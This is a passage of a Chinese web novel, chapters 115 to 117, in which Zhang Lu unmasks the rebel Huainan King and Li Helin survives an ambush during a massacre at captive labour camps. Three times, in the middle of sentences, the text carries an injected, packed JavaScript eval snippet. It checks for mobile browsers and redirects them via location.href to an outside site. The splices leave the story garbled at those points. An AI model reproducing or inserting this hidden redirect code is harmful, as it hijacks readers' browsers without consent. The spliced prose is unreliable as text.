“淮南。” * 别看楼松身形健硕又是墨云骑最重的兵,但论陆地行军的速度,无人望其项背。 他很快就追上了刺客,刺客咬掉毒囊的速度太快,楼松卸掉他下巴的时候,毒囊已经被咬破,他只能干瞪眼看着刺客的脸色迅速灰白发青,瞪着双眼痛苦死去。 “草,晦气!”楼松不甘心的踢了一脚路边的石头,拎着死不瞑目的刺客去找李鹤霖。 李鹤霖已经赶往下一个死奴营,见到楼松一脸哀愁,就知道刺客死了。这在他的意料之中,这种刺客就没想过活着回去,多半都是被豢养的死士。 他捻了捻手指,道:“传信给袅袅,找找李啸音身边有没有跟着一个女官,深得李啸音的信任,其他人都对她很敬重。” 一阵马蹄声传来,众人寻声望去,是盯着莱青守捉的墨云骑。 “王爷!莱青守捉的兵动了!” 李鹤霖当机立断:“加快速度,周其余,你点四百人赶去吕洲交界处,其他人随我去解救武定县附近的死奴,务必要在明日入夜之前把所有人都放出来!” * 另一边,南郊一所豪华宅院里,收到报信的张秀霎时眼冒金星,跌坐在椅子上,恨铁不成钢的说到:“苏用个贪生怕死之徒!在送走儿子的时候就应该立时去死!居然还去找肖敏那个草包!他难道不知道现在是个什么局势吗?那人明显就是想要他的兵权!他儿子想活他就必须自裁!真是个蠢货!蠢货!” 六神无主的张秀坐在椅子上双手掩面,过了约半柱香的时间才迫使自己冷静下来,他慌忙从桌面上摸出一张干净的黄麻纸,白云笔蘸着墨汁抖了许久,在纸上滴了好几滴黑墨才写下第一个字:兄。 张秀本想简略将事情讲清楚,尽量不啰嗦,因为他的兄长张锦最不喜人啰嗦,也不太看得起自己个不通文墨的弟弟。可他现在命悬一线,感觉墨云骑的黑靴随时都会踹开他的大门!极端的恐惧下,他有无数的苦想要倾诉,无数的惨想要告知,洋洋洒洒竟写了两大张纸。 待他回过神来已经来不及再写一份,只能折叠好交给亲信:“速速送往京城!务必亲手交给兄长!” 亲信离开后,张秀依旧不放心,思来想去,就起了当缩头乌龟的想法。但回老家并不保险,苏用未必不会将他供出来,可惜狱卒胆小,一直躲在外面不敢偷听,否则他现在就能更准确的判定局势利弊。 在屋内团团转了几圈后,他决定放弃这里的经营,直奔光州寻求淮南王的庇护! “我为他做了那么多,不惜拉自己兄长下水,他不能不管我!”如此想着,张秀就赶紧准备快马,草草收拾了些银两,带着亲信逃往光州。 与此同时,远在莱青的郡主府内,李啸音正端着一只清透水润的玉碗,坐在荷花池边悠闲的喂鱼。 “主子!”霍封琏跌跌撞撞的跑进荷花池旁,未及行礼便神情仓皇的将武定县发生的事都说了出来。 李啸音揉了揉自己的耳朵,语气中透着一丝怀疑:“你哪儿来的消息?” “雀房的消息!杨奉贤死后,您不是让兄长代管杨府的一切事物吗?他他……刚刚在雀房收到的传书,立刻就让草民来报信了!”许久没像今日纵马跑过如此长的路,一直养尊处优的霍封琏累的气喘吁吁。 李啸音攥紧了手中的玉碗,盯着池塘中甩尾乞食的锦鲤,眸光微冷:“就差一点了,就差一点了。他李鹤霖不过就是个代天巡狩的钦差,凭什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367581|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么敢冒着得罪整个河南道官员的风险去为一个七品小官平反?呵。” “殿下,张寒来了。”女官侧过身,露出身后的张寒。他坐在一张轮椅上,右手被砍,双眼具瞎,被三指宽的墨色丝绸带蒙着。若是楼松在此,定能认出此人就是被救走的张贺成的小儿子。 “郡主,李鹤霖已然入局,请郡主允许属下为您走出这最后一步。”张寒的声音很轻很柔,像春天的风,可字句间却夹杂着锋利的尖刀,流着血带着怨。 “如你所愿。”李啸音将碗中的鱼食全数倾倒入莲花池中,看着一众锦鲤互相撕咬争抢:“看来青州是呆不得了,咱们回光州。” 她转过身,女官跟上,李啸音看着女官平淡无盐的脸,道:“不过,走之前还是要给章麓留点谢礼才好,你说对吗?” 女官会意,行了一个叩拜大礼:“奴,醒得。” 李啸音满意的点头:“不错,不枉费本郡主当年从万人坑里将你刨出来。” 待女官走后,李啸音眸中的笑意消失殆尽,对张寒招了招手,道:“事成之后,你若还能活着,本王就送你去吐谷浑。” “谢王爷。”张寒低下头,左手扶胸行礼。 李啸音:“每年粮食五十万旦,精盐十二万旦,金银铜铁四万三千纲,死奴一万人,就是个废物也足够养出一支十万人的精锐了。可如今本王被逼至此,祁中岳还毫无动静,也不知是太蠢,还是想要过河拆桥。说到底,还是得放个信得过的人在他身边才算稳妥。” * 夕阳如血,照得林中官道如同陈旧泛黄的棉布。 章麓身着墨绿色骑装,如一尊雕塑般趴在路旁的小山坡上,目光紧紧盯着一辆由远及近的朴素马车。 “确定是她?”章麓悄声问道。 趴在她身旁的小兵点头:“属下确认过,雨陶郡主身边的亲信女官只有这一个。她每日辰时初从林县西门离开去往东牟城,酉时末归来。每天去的地方都一样,全都是粮铺,初第一日在离开东牟前去过一次守捉,其余两日都只在粮铺活动。” 章麓右手抬起,握拳,所有人开启戒备,在马车快要抵达滚石范围正中央的时候,迅速挥下手臂。一瞬间,无数滚石从山坡落下,砸向快马而行的青棚马车。 车内,雨陶郡主的女官正在查看这几日的账本,青州、登州、莱州的夏粮已经收购完毕,其余散户的米粮也收了九成,完成了预期目标,明日就让那群豫商展开计划。 忽然,马车剧烈颠簸了一下,她还没来得及反应,马车右侧就被一块巨石撞击,直接人仰马翻,令她猝不及防的从车窗摔了出去。 剧烈的疼痛令她短暂的无法动弹,刚回过神,下意识就想要收回四散的账簿。一枚箭矢极速飞来,直接扎进了她手边的土壤。 女官心中一惊,抬头看去,赫然对上章麓的双眼。 “我乃雨陶郡主身边的八品女官!你们无权杀我!” 章麓剑指对方喉头:“杀不杀你,取决于你有没有价值。” 女官神色一凛,刚要再说,一枚飞镖突然擦过章麓脸颊,直直穿过女官的喉咙,插入了地面。 “什么人!” 今日跟随章麓前来抓人的官兵都是精锐,行动速度极快,但追出半里后,还是让人跑了。 “消息还真是灵通。”章麓面无表情的擦掉脸颊上的血丝,捡起射入地面的飞镖看了看:“这工艺……” “郡主,这个女官的脸好像有点问题。” “嗯?”章麓回身,蹲在女官身边查验。 原本平整光洁的下巴,被飞镖划开一个小口,有一层薄如蝉翼的皮层微微外翻,若是不仔细观察无法看到。 章麓皱眉,用拇指将外翻的皮层抹开一块:“易容皮?” 她仔细小心的将这层皮面撕开,露出了女官原本的面容,她不敢置信的瞪大了双眼:“李啸音!” 章麓猛的站起身,飞快的思索着,不消一刻便反应过来,迅速翻身上马:“速速回城!” 紧接着,她骑在马上,打了一段长呼哨,片刻后,悠扬的呼哨声接二连三的传来,越来越远。 116. 第 116 章 雨陶郡主有条不紊的收拾行装,宛若一个准备出游的大家闺秀。 收到传讯的章启以雷霆之势入城,飞快的集结在了郡主府外,将整个郡主府团团围住。 章麓纵马而来,与章启在郡主府门前撞了个正着,她没有停留,只说了一个字:“抓!” “这里是郡主府!你们在干什么!” 麓风忽然张开血盆大口,冲着管家就是一通狼嚎,吓得对方直接翻白眼,屎尿渗透了□□,才满意的回头去追主人。 “钦差办案!反抗者格杀勿论!” 章启带来的辽西军鱼贯而入,将整个院子团团包围,与李啸音的百名死士成对峙之势。 “新安郡主好大威风,无根无由也敢擅闯郡主府?”李啸音站在前厅前的九级台阶上,睥睨着身着蓝白布甲的众人:“说起来,我还见过你,在你刚出生的时候。” “李啸音,你不必在这里编造故事,你与我同岁,怎会见过年轻时的娘亲?”章麓冷笑道。 “我当然见过,不信,你可以回去问问你娘。”李啸音的纤纤玉指抬起,轻轻勾了勾自己发丝。 章麓不欲与她多做掰扯,打量了一番李啸音,道:“你是长得像她还是带了人皮面具?” 李啸音眉峰微挑:“你发现了?看来,她已经死了。”她摸着自己的脸,笑着道:“这张脸当然不是我自己的了。” 她打开侍女手中的灯笼,捻了些炙热的蜡油,重重抹在了耳后,原本服帖的面皮翘起了一个边角,在她缓慢的撕扯下四分五裂。 看着与前朝大业帝五分想像的面容,一个荒谬的答案呼之欲出。 “你是……” “淮南王杨素乾!” “你是女人?” 章启和章麓同时出声。 杨素乾垂下眼眸,笑看着一身骑装的章麓:“对,我是个女子。就因为我是女子,父皇宁愿立杨昌那个蠢货也不愿让我来当太子!杨昌在战场上死于你师父的刀下,我本以为父皇该看看我了。可父皇宁愿从宗族过继都不愿意给我一个机会!凭什么!我比杨昌读过的书都多,练武场上杨昌一次都没赢过我!我六韬三略熟记于心,琴棋书画诗词歌赋人文天象无一不精无一不晓,凭什么不能登上至尊之位!就因为我是女子吗!” 她仰望着漆黑的天空,突然笑了起来:“我明明是一人之下万人之上的嫡长公主,亲弟弟杨昌不如我,下面那些庶子庶女又有哪个敌得过我?我凭什么不能当女皇!每一次的权利争斗都将我排除在外,想拉拢我又看不起我!就因为我不是个男人!可若是我当了女皇,定然兴国安邦,置万民于福祉,而不像现在四处战火,民不聊生!” 章麓摇头:“但你现在做的事,哪样令百姓幸福了?” “难道莱青郡的百姓不幸福吗?你看看他们,是我给予了他们生的希望,是我带给了他们好的大夫、充足的药,是我令他们能吃到皇帝才能吃到的水果蔬菜,是我让他们能将送不出登州的海货远销大疆南北,是我让他们见到了从前想都不敢想的财富!他们哪里不幸福?还有淮南道的八州百姓,你可以去瞧瞧,这天下就没有比那里更富足的地方!” “可你口中的富足是拿其他各州百姓的命和苦还来的!难道他们的命就比你治下的百姓轻贱吗?更何况,真的是所有人都富足吗?真正过上好日子,还不是世家宗族的子弟。真正穷苦的老百姓,真正的寒门出身,哪个过上了你口中的快活日子?” “谁让其他州不在淮南道呢?”杨素乾冷笑:“况且,上品无寒门,下品无贵族。投胎投不好,活该被人踩在脚下。” 章麓:“天下是天下人的天下,居庙堂之高则忧其民,处江湖之远则忧其君。” 杨素乾像是听到什么天大的笑话一般,呵呵呵的笑了起来:“这种高洁之言谁都会说,可扪心自问,你信过吗?你也好,李鹤霖也好,包括被你父母收养的章启,你们生来就是侯爵之子!拥有与生俱来的权利与财富。你们高高在上,指挥着千军万马,但又有多少人因你们枉死,你们真的想过吗?章麓,当你拿着钦差令牌在这里对我大呼小叫,悉数我的罪状的时候,有没有想过当年北宁关因你枉死的六十万百姓!如果你没有轻信张贺成,你的兄长、六万锋云骑、六十万北宁关百姓就能活!你的双菊、秋菱、付雪、绵香她们现在都已经结婚生子,过上富足的生活。你才是应该为北宁关几十万亡魂付出代价的那个人!” “诡辩!”身旁的章启提枪就要上前,被章麓一把拦下。 章麓直视着杨素乾的双眼,没有恼羞成怒,也没有心生厌恶:“你在等谁?康王还是西洲侯?你想激怒我,让我杀了你?好给康王活着西洲侯借口了结了我。” 杨素乾若有所思的看着她,忽而笑的非常愉悦:“你比我想象中要聪明,怪不得能在五年内将大同商号经营到现在这种规模。” “你认识我?”章麓问道。 “没错,当年张贺成能那么精准的找到你,还是因为我呢。” “怪不得。”章麓呢喃道。 “其实那一次,就足以让章氏灭族,可惜神花长公主不肯将白鹰交给我。不过没关系,赵晚舟对大梁有刻骨的仇恨,这一点足以为我所用。” 章麓还待再问,门外一阵细微的马蹄声响起,康王的府兵要到了。 杨素乾站在高台之上,俯视着他们,扬声道:“章麓,你确实聪明,可惜只聪明了一半,现在我让你做个明白鬼。你知道张锦的弟媳是哪里人吗?” “你想说什么?”章麓握紧刀柄,神色警惕。 “连张锦自己都不知道,他弟弟娶了一个吐谷浑公主,甚至可以说,整个青州张氏,除了张锦,所有人娶得都是吐谷浑人,不论嫡庶。他们帮我做人口生意,把汉人卖去吐谷浑,再把吐谷浑活不下去的贱民签成死奴卖到这里,神花不肯给我白鹰,我便自己教养白鹰。” 章麓眉心一跳,便听到:“你猜,我教养出的这些白鹰,去了哪儿?” 不待章麓反应过来,一支五人的墨云骑,从陆家军中冲出。 他们伤痕累累,为首之人趴在马背上已然奄奄一息:“郡主,莱青兵变,烧了所有城郊山头的死奴营!王爷欲救被苏用拦下了……他……” “不单单是武定县的死奴营。”杨素乾打断他的话,如死神一般宣告着死亡:“是青、莱、登三州所有的死奴营!我想想有多少,大约四五十个吧。” 李谨焕刚到,便听到了这句话,心神俱震。 章麓不可置信的看着杨素乾,声音颤抖:“你怎么敢?那可是上万条人命!” “本王为何不敢?本王本就是皇女,天下百姓合该遵照本王的意志行事!合该为本王肝脑涂地!奉献一生!章麓,今日本王就要将你的命留下,再将你的头颅丢给虞庆侯,让他知道知道当年拒绝与本王联合,反而与李氏小儿合作的下场!” 刀刃的寒光映在章麓的脸上,照出她锋利的杀意:“你留不住我。” 杨素乾眼神轻蔑:“那就试试看。” * 半日前,武定县。 肖敏被捆绑在囚车中,忍受着秋风瑟瑟,小心翼翼的观察着李鹤霖的表情,为他指路。 “这座山头上的几乎都是德州送过来的,德州遥远,还要跨越济水河,路上就要死去大半,所以每个月也就一两百分能活着来到这儿,大多都是青壮年,老弱妇孺几乎全死在了路上,就让他们负责开荒耕地。”肖敏指着这片山林道:“朝南着片山坡都是他们开垦出来的梯田,种的粮食收割后留下一成,其余的都送去了淮南其他州府,河南道反而要的不多。” “一成?那岂不是要饿死?”楼松气的简直想要再打肖敏一顿。 肖敏下意识护住头,却不小心碰到了砍断的手臂,疼得直抽抽。他缩在囚车角落,哭喊道:“没办法啊,登州本来就不是什么富庶之地,大半部分土地都给了莱青守捉和河南道节度使的人,周围都是起伏的丘陵,种地本就困难,每年又要缴给吐谷浑十万旦粮食,这九成收成也就七万旦不到,剩余的都是用苏家偷偷截流下来的入港税补足的。” “你还有脸哭!”楼松用剑鞘狠狠敲击了两下囚车,把肖敏吓得不轻。 李鹤霖望了望山头,纵马踏上山路:“加快速度,日目前安置好所有人。” 肖敏掰着指头算了算:“这半日已经清缴完武定县所有的山头了,就剩这一个,倒是与吕洲交界的巴尔县还剩三个,祝南县就一个,相信周将军一定能全部安置好!”说完,他讨好的笑了笑。 李鹤霖没搭理他,再次加快了行军的速度。 然而,当他走到半山腰处,再次抬头向山巅遥望时,突然发现山顶上冒出了一点红光,他定睛仔细瞧了瞧,而后惊到:“全速前进!” 山头上,苏用纵马行至马车边,问道:“张寒,你当真要烧了此地?这方圆十里皆是连绵群山,长满了参天大树,这要是点着了可是至少会烧光十几里地,甚至会烧到武定县城里去。要我说,干脆像巴尔县那几个山头一样,直接杀掉丢入断崖不就好了。” 张寒坐在马车里,声音幽幽:“李鹤霖已经查到了土匪寨上,武定县其余几个死奴营都被他破了。如今只剩下这一处,哪里还有时间让你杀人抛尸?杀了他们之后,直接放火烧山最保险。这可是主子的命令,你敢不听?” 苏用摸了摸后勃颈,纵马奔进寨子,嘴里还嘀咕着:“要不是仗着有淮南王撑腰,谁他娘的愿意跟你来干这些缺德事,哼,死瘸子。” 张寒就坐在马车里,听着不远处传来的哀嚎,他闭上眼睛,终究不敢将车帘掀开。 “主子,有人从寨子里逃出来了。”死士头目低声说到。 “杀。”张寒的声音暗哑,用仅剩的一条手臂按住自己的心脏,那里跳动的速度极快,他急促的呼吸着,“就差这最后一步,只剩这最后一步!” 哀嚎、嘶鸣、啸叫,一切的一切都在重复上演,他必须这么做,他只能这么做!要把李鹤霖逼上绝路,才能再次扭转乾坤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381789|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 有死奴躲过追兵和大火,刚刚逃出营寨,看见路边的马车时,以为生路将近,却被神出鬼没的死士割开喉咙。后面逃来的同伴见状顿时四散而逃,有的奔入山林,有的跑往官道,有的跳入山涧。但无一例外,都被四散寻找漏网之鱼的死士残杀。 火光迅速蔓延,沿着山脊线一路向四面八方而去。死士头目见状,驾起马车往官道而去,却在下山途中与李鹤霖的墨云骑撞了个正着。 李鹤霖的眸光被火焰吞噬,怒火自胸腔而起迅速燃烧至四肢百骸,他翻身从马背上跃起,剑风直指马车内的人! 当啷一声,火花在双刺和剑锋间崩开,巨大的冲力将李鹤霖和刺客头目双双弹开,落在的地上时还后退了数步方站稳。 死士头目垂眸瞧了一眼崩开的虎口,心中惊讶,好强的力道。 李鹤霖甩手,将手上的血珠弹飞,提剑再次俯冲而至。死士头目再次上前,短兵相接!楼松的重骑和死士瞬间交织在了一起,其余墨云骑飞快朝火光的中心冲去。 “阿勒阐!杀了他!”张寒的声音自马车内而出:“王爷既然来了,就不必再回去了!烧成这江山的养料,这辈子都不会有人知道!” 阿勒阐的手法极为阴毒狠辣,其中不少招式有着死士的影子,令李鹤霖不禁蹙眉。 李鹤霖虽力量霸道,但阿勒阐更为灵巧,几十招过去,两人身上均覆上不同程度的伤。 不过,李鹤霖已经完全摸清了阿勒阐的路数,在对方再次挥动双刺飞身而来的时候,一个后仰躲过左刺,单手持刀挡住右刺后绕其手肘一圈深深刺入了对方的腹部。 血液喷溅在李鹤霖的衣袍上,将衣带上的金莲宝相纹染成了深红色,宛若一朵朵地府的彼岸花。 “阿勒阐!”张寒的惊呼被淹没在一声声轰隆巨响之中,火焰在山风的助力下愈演愈烈,营寨外的望楼不断坍塌,树木在滚滚浓烟中一一倾覆。 “王爷!火烧的太快了,我们得撤了!”一脸黑灰的楼松领着骑兵从营寨方向而至,他们的马背上都驮着人,有大人有小孩,没人身上都有不同的烧伤。 “把他绑了,我们下山!” “是!” 轰隆隆的巨响令整个山谷都在颤动,似是大地女神在哀鸣。热浪席卷了一层又一层,直至众人奔至山脚,都还能感受到了身后滚烫的热度。 “王爷怎么会出现在山匪贼窝里?”苏用领着兵马站在山脚下,身上的布甲也有着被火星潦倒的痕迹。 李鹤霖抬头看他,目光阴森:“苏用。” “没想到殿下还记得本将,真是莫大荣幸啊。”他偏头看向被楼松捆成粽子,置于马背上的张寒,道:“不知殿下为何要绑了军中谋士?他虽是白身,却是本将军亲召的谋士,这莱青平日里事物繁多,今日也是多亏了张先生,这山上的匪寇才得意全部诛灭。” “谋士?”李鹤霖盯着胡福来的脸,目光宛若修罗:“剿匪?” 轰隆,巨大的闪电从天空中劈来,乌云压顶的黑暗骤然被点亮。 苏用被这道惊雷吓了一跳,□□的马匹也不安的躁动了起来。 趴在马背上的张寒突然爆喝:“杀了他们!绝不能让他们回长安!” “你他奶奶的嚎个屁!”楼松一巴掌拍在他的后脑上。 苏用的眼珠转了转,谄媚笑到:“王爷,这张大人估计是被您的墨云骑给吓到了,才在这里胡言乱语。” 风呼啸着穿过两阵之间,一个小兵骑马奔来,附耳跟苏用说了什么,后者眯了眯眼,看向李鹤霖:“王爷,有人冒充您的墨云骑勾结巴尔县的山匪,已经被本将军的人全数剿灭,哎,这年头山匪们太狡猾了,谁厉害借谁的势,搞得我们这些地方官员总是束手束脚。” 蓄力完的风暴裹挟着倾盆大雨磅礴而至,巨大的山火在风雨中渐渐平息,滚滚黑烟之上天际,夹杂着无数生灵不甘的怨气。 徐松上前,低声道:“殿下,他们人太多了,我们还需从长计议。” “徐松。” “属下在!” “让你的小队去找章麓。” 徐松:“殿下?” 李鹤霖:“死了太多人了……你要我如何能忍呢?” 徐松:“……殿下,三思而后行啊。” “不,本王今日便要宰了他!” “殿下……” “让你的人走!” 徐松看了一眼殿下,无奈的叫来小队的校尉,五人组成的斥候小队即刻纵马东去。 苏用抬起手,收起脸上的笑意:“淳王殿下,他们走不出武定县的地界,您呢就别白费力气了。哎,武定县县令监管不力,至武定县郊山匪成患,淳王殿下率兵剿匪不慎阵亡。淳王殿下,天下人会记住你的。” 咔嚓——无数闪电在云层急走,那青涩的云山仿佛要将整个武定县压垮。 碎骨盈地,战马悲鸣,烈烈风雨,血染污泥。 可怜雷鸣如月电如灯,不照亡人归魂路。 117. 第 117 章 郡主府外,章麓持刀立于阶上,身后是尸骸遍野,血染砖墙。 “李谨焕,你若今日放她出去,他日她定然将你送上断头台。”杨素乾站在门口,身侧数百死士只余十人。 “你当真命人杀了那些……那些被你骗来的无辜百姓吗?”李谨焕的声音艰涩,他被一众暗卫护在身后,衣衫洁净,未然半片血污。 “他们不是百姓,是死奴。”杨素乾面无表情的说到:“死奴,就是可以任人宰割的财富,生杀予夺皆在本王之手,本王让他们生便可生,本王让他们死就得死。” 狂如急骤的暴雨吹打在两人的衣衫上,呼呼的风声席卷大地,宛若一场悲怆的挽歌。 “可他们是被你骗成死奴的。” 杨素乾看向面露茫然的李谨焕,道:“你可别告诉我,你后悔了?李谨焕,西洲侯与我就是绑在一根绳上的蚂蚱,我死了他也别想活!还有你,你如今拥有的一切可都是用他们的命换来的,现在突然怜悯他们,不过是兔死狐悲罢了。” “之前,有人告诉我,你是个性格软弱容易被左右之人,我还不太信,想着西洲侯一方霸主,当年也有西北孤狼之称,他教出的外孙其他方面再差心性也不会差。如今看来,倒是我错了。” 李谨焕没说话,也没让手下的兵动手。 章麓的刀刃已逼至近前,杨素乾后退数步,语速急促:“李谨焕!若今日本王身死,你当你能当做全然无知全身而退?你是郡王她不敢杀你,但不代表她不会参你!到时候你也是本王的共犯,你逃不掉!” 锋利的刀刃划破杨素乾的手臂,挑飞她的剑:“少废话,你赢不了。” 杨素乾:“嘁,就算我赢不了,你就能赢了?章启带着虞庆军无召擅离封地,就是死罪!” 章麓面无表情的看着他:“兄长有召令。” “不可能!何谈还没有结束,父皇不会让任何北地的属兵离开驻地!”李谨焕惊讶的说道。 一枚巴掌大的玄色令牌出现在李谨焕的面前,正面雕着双龙冲天图案,中间刻着一个令字,背面五爪紧扣,用小篆刻着:四海三军,皆听调令。 李谨焕不可置信的瞪大了双眼,呆立在了原地。 杨素乾突然大笑道:“看到了吗!你的好父皇宁愿让虞庆军离开驻地,也不愿意给你一点点兵权!你的好父皇让李鹤霖参政却从连御书房都不肯让你踏足!他就没想过你是他儿子,在他的眼里,李鹤霖万般好,而你!只是一枚棋子生下的小棋子罢了!” 轰隆——雷鸣电闪响彻莱青的每一个角落。 李谨焕站在暴雨中,看不清表情。 “绑了她。”章麓道。 她提着剑,转身离去,李谨焕站在门口,没有动。 章麓看着乌压压一片的银甲府兵,道:“康王殿下,真的想要就去争,总躲在后面左右摇摆,最后得不到又抱怨别人太过努力,算什么英雄?” “若是今日杀了你……” “杀了我,虞庆军依旧会踏平莱青,这是陛下的命令,不是虞庆侯府的。陛下要清理门户,你我拦不住。”章麓不卑不亢的说到:“我现在只想去武定县把他带回来,那里如今已然人间炼狱,那样干净的一个人,怎么能呆在肮脏的地方。” 她的眼神温柔,却只为了李鹤霖一个人,她眺望着灰蒙蒙的远方,视线也只落在那一个人的身上。 “让开!”章麓的声音沙哑。 李谨焕没有动:“我不能让你走。” “康王,你难道还不明白吗?不是因为你不够好,而是因为西洲侯想要的太多!陛下不会允许一个有野心的人成为皇帝的外戚!那时候只会国本五寸!” “对不起……” 染血的刀刃落在他的脖颈上,抽刀声纷至沓来。 “让开!我不喜欢说第三遍。” 李谨焕看向她:“如果三哥死了……” “他死了,登上皇位的也不会是你,除非西洲侯彻底从这个世界上消失!” 李谨焕一愣,闪电于他的身后落下。 暴雨浇灭了希望之火,李谨焕在章麓带火的眸光中轻轻抬起手:“退!” 哗啦啦,围困郡主府的府兵纷纷退至两侧,为重伤的章麓、晴放和余下的三百陆家亲卫让路。 章麓的身影越来越远,直至完全隐没在雨幕之中,李谨焕才收回视线。 他身侧的属官恨恨咬牙,低声劝导:“王爷,放虎归山,将来必成大患!” 唰—— 一阵刀光闪过,属官神首分离。 李谨焕看着昏暗的天色,冷漠道:“淮南王说得对,本王就该果决一点,若不是母妃觉得你母亲善解人意,亲信于她,就凭你往日借着本王的由头作威作福的样子,本王也不会留你到今日。若在你第一次仗势欺人的时候就杀了你,也就没有今日这许多坎坷了。” 周围人皆静默不语,只落于地面的人头还张着嘴,似是有千言万语要说。 “其实,本王不帮淮南王,并非想要将自己撇干净,而是不喜欢吃里扒外的人。本王与兄弟再怎么斗都是家事,再恨也不会勾结外人侵犯自己的家园。” 离开郡主府,章麓将手中的令牌交给师父,自己不顾重伤非要带着五百陆家亲卫赶去武定。 章启拦住她的马:“我派人去,一定将淳王给你带回来。” “不,我要自己去。” “你……” “哥,我从未如此在乎过一个人,求求你,让我去吧。”章麓拽紧缰绳,目光看向武定县的方向。 “章麓,想想爹娘。” 章麓露出一个勉强的笑容:“放心,我一定活着回来,莱青的事就交给您了。” * 被大火烧过的山峦乌黑一片,黑夜中,章麓能看见浓烟滚滚和零星的火光,她的心越来越沉。 “郡主,前面有人在埋尸。” 章麓眸光一利:“是谁?” 晴野:“瞧着像是莱青守捉的守备军。” 章麓心中一紧:“他们埋的是谁?” 晴野略有犹豫:“他们人多,属下没法靠得太近,但远远望着,像是身着黑甲,应该是……” “不可能!”章麓打断了他的话,“带我去。” “郡主……” “现在,带我去!” 晴野抿了抿唇,清点了一下人数,领着章麓和兵马往埋尸的地方赶去。 此时此刻,正刨坑的几个人抱怨着:“姓虞的这不是欺负人嘛?什么脏活累活都让咱们干,然后功劳全让他手下那些亲兵拿了!” “嘘,小点儿声。”另一个兵卒冲左侧抬了抬下巴,“虞督卫的人还在哪儿坐着呢,小心被他听见了在虞督卫面前告你一状。” 抱怨的兵卒扯了扯嘴角,把冒到嗓子眼里的怨气又咽了回去。 忽得,一阵火光亮起,无数铁甲之音从四面八方而来,瞬间将他们包围。 章麓骑在马上,目光沉沉的望着被他们堆放在一旁的尸体,上面熟悉的铠甲令的她的心一阵阵的刺痛。 “全部抓起来,确认一下……有没有王爷。” 章麓从马上滑下来,踉跄了两步。 “郡主!”晴野赶忙上前扶住。 “别管我。”章麓推开晴野,往那尸坑踉跄而去,旁边是不知道谁的叫嚣声,说自己是什么莱青守捉督卫的弟弟云云,现在的章麓最听不得莱青守捉四个字,“堵住他的嘴!” 她跪在尸坑旁,目光紧紧盯着每一具被摆放好的尸身。 一个,两个……十个,二十个……五十个……一百……三百零六。 没有李鹤霖,但她看见了徐松。 这一战要惨烈到何种境地,才会叫李鹤霖最引以为豪的近卫都丢了性命。 “无论何种手段,找到他……找到他们!” “郡主莫慌!”晴野牵来麓风,“不如让麓风试试,王爷在北边的时候,一直将麓风带在身边,麓风肯定很熟悉王爷的气味。” 章麓看向拿吻拱着自己的麓风,轻轻抱住它的大脑袋:“帮我找到他吧,求求你。” * 清晨的光,透过破旧木屋的缝隙照射进来,落在遍布灰尘的干草上。 破木门被小心翼翼的打开,楼松拿着两只水囊匆匆走到李鹤霖身边:“王爷,先喝点。” 李鹤霖抬头看他:“还剩多少弟兄?” 楼松垂下眼:“四百一十九,按照殿下的吩咐,都遣散了藏起来了。俺跟他们都说清楚了,今后无论是想回家还是想继续当兵,您都不拦着。有几个想留下来,都被俺轰走了。” 李鹤霖倚靠着破烂的木板,自嘲道:“我自觉战无不胜,却不想在这里栽了跟头,最后还连累得你们为我送命。” “王爷说得这是哪里话?咱们这四千弟兄,哪一个不是您救回来的?多活一天都是赚!今日战死,来日投胎又是一条好汉!”说着,楼松突然哭了起来,鼻涕一把泪一把的,用葛布袖子抹了好几回都没抹净,哽咽抱怨道:“娘的,以前也没这么娇病啊,怎么当了几年兵,穿了几年棉衣锦袄,就穿不惯这葛麻布了呢。” 李鹤霖微微一笑,道:“有什么好哭的?” 楼松又抹了抹眼泪:“俺没哭,俺就是心疼萧雷那眼睛,多好的眼睛啊,射箭射得多准,现在瞎了一只,以后要是都射歪了可怎么办,多可怜啊。” 木板门啪的一声被推开,萧雷的声音传了过来:“哭个屁啊你!老子还没死呢!”他将打来的山鸡、野兔丢在地上,拍了拍手道:“老子一只眼瞄得更准!” 卢康推了萧雷一把:“你堵着门干嘛?”他走进来,关上木门,半跪在李鹤霖身边道:“殿下,今日巡逻的人少了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399575|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,听百姓说,今日天蒙蒙亮的时候,有一大批人马闯入了武定县,把虞河给抓走了。” “是不是郡主来救咱们了?”楼松一拍大腿,有些高兴的说道。 李鹤霖:“莱青守捉那边有动静吗?” 萧雷摇头:“静悄悄的,守卫很严,没见苏用出来过,连之前追杀咱们的那队人马都收回去了。” 楼松左看看右看看:“那咱们现在怎么办?要去县城看看吗?王爷的伤势不能再拖了。” “我们现在只能等,没有别的方法。”李鹤霖闭上眼,腰侧的伤口有糜烂的倾向,昨日半夜就已发起高烧,如今眼前昏花一片,甚至连站起来的力气都没有。 